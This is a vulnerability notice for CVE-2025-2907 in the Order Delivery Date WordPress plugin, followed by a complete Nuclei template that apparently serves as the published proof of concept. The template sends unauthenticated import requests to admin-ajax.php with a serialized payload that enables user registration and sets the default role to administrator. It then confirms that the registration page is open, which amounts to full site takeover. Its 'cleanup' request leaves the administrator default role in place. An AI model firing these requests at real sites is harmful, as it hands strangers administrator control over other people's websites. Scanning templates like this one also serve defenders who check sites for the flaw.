The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.
PoC代码[已公开]
id: CVE-2025-2907
info:
name: Order Delivery Date Pro for WooCommerce < 12.3.1 - Arbitrary Option Update
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.
remediation: |
Update to version 12.3.1 or later.
reference:
- https://wpscan.com/vulnerability/2e513930-ec01-4dc6-8991-645c5267e14c/
- https://nvd.nist.gov/vuln/detail/CVE-2025-2907
classification:
epss-score: 0.03137
epss-percentile: 0.86384
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2907
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
fofa-query: body="wp-content/plugins/order-delivery-date-for-woocommerce"
tags: cve,cve2025,wp,wordpress,wp-plugin,takeover,order-delivery-date,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="action"
orddd_import
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="is_drag_drop_request_ajax"
yes
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"
a:2:{s:18:"users_can_register";b:1;s:12:"default_role";s:13:"administrator";}
------WebKitFormBoundaryYq6CV9CqPQBC7dSy--
matchers:
- type: dsl
dsl:
- "contains(body, 'orddd_import_success')"
- "contains(header, 'application/json')"
condition: and
internal: true
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body, 'wp-login-register')"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYq6CV9CqPQBC7dSy
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="action"
orddd_import
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="is_drag_drop_request_ajax"
yes
------WebKitFormBoundaryYq6CV9CqPQBC7dSy
Content-Disposition: form-data; name="orddd-import-file";filename="exp.json"
a:2:{s:18:"users_can_register";b:0;s:12:"default_role";s:13:"administrator";}
------WebKitFormBoundaryYq6CV9CqPQBC7dSy--
- |
GET /wp-login.php?{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "wp-login-register"
negative: true
# digest: 490a00463044022031ec45113eb8c7498b1441ab20e7120143a9dc6856df7b2beccf64778b495abf02200c9085ab0b4b84b02f669b31e1b7d8e516556076c2ba8081745153d596021e27:922c64590222798bb761d5b6d8e72950